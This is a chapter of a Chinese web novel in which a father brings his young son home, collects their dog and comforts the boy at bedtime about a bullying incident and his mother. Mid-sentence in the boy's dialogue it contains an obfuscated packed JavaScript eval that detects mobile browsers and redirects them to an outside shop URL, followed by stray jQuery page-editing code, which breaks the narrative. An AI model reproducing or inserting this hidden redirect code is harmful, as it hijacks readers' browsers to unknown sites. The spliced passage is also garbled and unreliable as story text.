尤朗次日早上就带着邱嘉楠回N市了。邱嘉楠的精神状态显然比昨天更放松，尤朗也松了一口气，大概不高兴的只有前两天刚被放假的阿姨们——说好放假到年后的，为什么突然要上班？万恶的资本家！


    邱嘉楠一到家就把行李丢在楼下，求着爸爸去接狗狗。前两天章信帮忙送狗狗去宠物店寄养了，他得去领回来。


    “山田心肯定很不高兴，之前我说送它去幼儿园，它就不和我说话了。”


    尤朗：？？？


    “山田心是什么东西？你送什么东西去了幼儿园？”


    “山田心就是崽，你说不可以叫它崽，所以它现在叫山田心。去幼儿园就是去宠物店的意思，那里很多狗狗嘛，就像狗狗幼儿园一样。”邱嘉楠一本正经地解释。


    尤朗想起阿拉斯加那个身型，大概在幼儿园也是个校霸吧。


    尤朗亲自开车，载小孩去接狗狗。阿拉斯加显然没预料到能这么快从幼儿园解放出来，欢天喜地地朝邱嘉楠身上扑。邱嘉楠一个趔趄，差点摔倒：“狗儿子，站好。”


    阿拉斯加眸中透着压抑不住的欣喜，乖乖站了一会，又忍不住往小孩身上蹭，像是要小孩背着它似的。宠物店的人见了，都觉得是阿拉斯加养了个宠物。


    办完手续，邱嘉楠牵着阿拉斯加上了车，阿拉斯加一路“汪”个不停，但尤朗还是听出了些规律，问：“为什么它冲着你就叫两声，冲着我就叫三声？”


    邱嘉楠坐在汽车后座，摸摸山田心的头，笑说：“因为汪汪是爸爸的意思，汪汪汪是爷爷的意思。”


    尤朗：“……”


    怎么说呢，就还，还挺有创意。


    因为要留在N市过年，尤朗顺便带着小孩去沃尔玛买了些年货。父子俩对年货都没啥认知，囫囵买了些福字、红包、红红火火的装饰物一类的，倒是邱嘉楠往购物车里扔了很多零食，反正爸爸说，想要什么就买什么。


    高高兴兴地忙活了一整天，邱嘉楠似乎忘记了一切不愉快的事。可夜幕降临，洗了澡准备睡觉，他又恐惧起来，问：“我可以和山田心一起睡吗？”


    “不行。”尤朗立刻回答，坚决得不留余地。虽然山田心被照顾清洁得很好，但到底不干净，跟小孩睡在一张床上像什么话？可一看孩子低头失落的样子，尤朗又舍不得，问，“还怕是不是？”


    邱嘉楠怯怯地点点头。


    “我们已经回到家了，没有人会吓唬楠楠，楠楠不用害怕。”


    是这么个理，但是能理解不代表不害怕啊！邱嘉楠似乎是知道说了也没用，干脆不说了，只垂头默默走回房间去了。


    回了房也不敢睡。之前他已经慢慢习惯一个人睡了，不需要开着灯睡前看书，完全可以自己关灯上床。可是今晚，炽热的灯光一直照着，邱嘉楠不敢关。


    快11点了，今天也劳累了一日，邱嘉楠连打两个哈欠，搓了几下手心，仿佛又摸到了什么软软的东西。


    门突然被打开了，邱嘉楠扭头望去，是穿着睡衣的爸爸。


    尤朗走进来，问：“睡不着？”


    邱嘉楠闷声道：“我不敢睡。”


    尤朗坐到小孩床上：“来，躺下，爸爸看着你睡。”


    尤朗是真不能和别人一块睡，看着睡已经是极限了。


    邱嘉楠乖乖躺好，拉着爸爸的手，却不闭眼睛。


    尤朗拿他没办法，只好将上半身靠在床头，把小孩揽在自己身边：“这样可以了，不怕了。”


    可小孩还是睁着眼睛，不睡。尤朗摸摸孩子的头，道：“不睡，那跟爸爸聊天？”


    “嗯。”小孩点了点头。


    “你为什么跟小宇打架？”尤朗还惦记着这事，见到胡宇用玩具蛇把孩子吓得魂飞天外之后，他更确定孩子是受欺负了，“现在是在家里了，什么也不用怕，想说什么就说什么，你说什么爸爸都相信你。”


    邱嘉楠完全没想到爸爸还会问这个，抿着唇不愿意开口。


    “你要是真不想说，爸爸也不勉强你，但是如果你受了欺负，一定要和爸爸说，爸爸会站在你这一边的。”


    本以为要给孩子一点安全感，可邱嘉楠却摇了摇头，道：“是我先打他的。”


    “你为什么打他呢？他是不是跟你说了什么？”


    邱嘉楠沉默了一会，仿佛下了很大决心，才开口道：“他说，你只是看我可怜，才……还说，如果你想起，想起我妈妈，一定


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581270|143113||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    会很讨厌我。他问我，敢不敢问你，记不记得我是谁的孩子。”


    其实尤朗之前想的八九不离十，小孩最敏感的估计就这事，心里大概是真怕，才一直不敢说。


    “那你是谁的孩子？”尤朗揉着小孩的脸问。


    邱嘉楠不想回答这个问题，这个对其他小孩来说简单无比的问题像一座大山，压得他喘不过气来。他只是轻轻摇头。


    尤朗不放弃，追问道：“那你想当谁的孩子？”


    邱嘉楠抬起眼皮，亮晶晶的双眼一瞬不瞬地盯着尤朗，感受着爸爸眼中始终温和的鼓励，随后鼓起勇气，紧紧抱住了爸爸的脖子。


    尤朗顺势把小孩抱起来，道：“楠楠是爸爸的孩子。不管以前发生过什么，也不管以后会发生什么，楠楠都是爸爸的孩子。”


    邱嘉楠热泪盈眶。


    这么抱了好一会儿，邱嘉楠才依依不舍地松开了手。尤朗看着这个小可怜孩子，眼中满是疼惜：“邱蕊走了很久，我也没问过你，会不会想妈妈。”


    邱嘉楠敏感，对情感的感知尤甚。他常常觉得爸爸是不爱妈妈的，就像刚刚提到邱蕊这个名字时，尤朗的语气平稳又冷淡，既没有爱，也没有恨，就像在说一个路人。


    “没事的，楠楠想说就说，不想说就算了。”


    邱嘉楠摇了摇头。妈妈离开一年多了，除了最开始惴惴不安的时候偶尔会想起，其它时间，他都几乎没有主动想起过。


    “其实妈妈也不爱我，我知道的。小时候在幼儿园，别的小朋友都有爸爸妈妈接，我就在幼儿园里玩滑梯，一直玩到天黑，玩到所有小朋友都离开，妈妈也没有来。然后老师就会骑着自行车顺便送我回家，妈妈有时候就在家里，有时候不在，也不会管我是怎么回到家的。”邱嘉楠躺在爸爸怀里，淡淡道。


    那个小小的孩子，就这样慢慢的，失去了对妈妈的任何期待，以至于一年多以前邱蕊离开的时候，他最关心的甚至不是邱蕊去了哪里，而是尤朗会不会因此抛弃他。


    正如他是尤朗唯一的亲人一般，尤朗也是他唯一的亲人。


    尤朗拍拍小孩，道：“有爸爸在，爸爸永远和楠楠在一起，好不好？”


    “好。”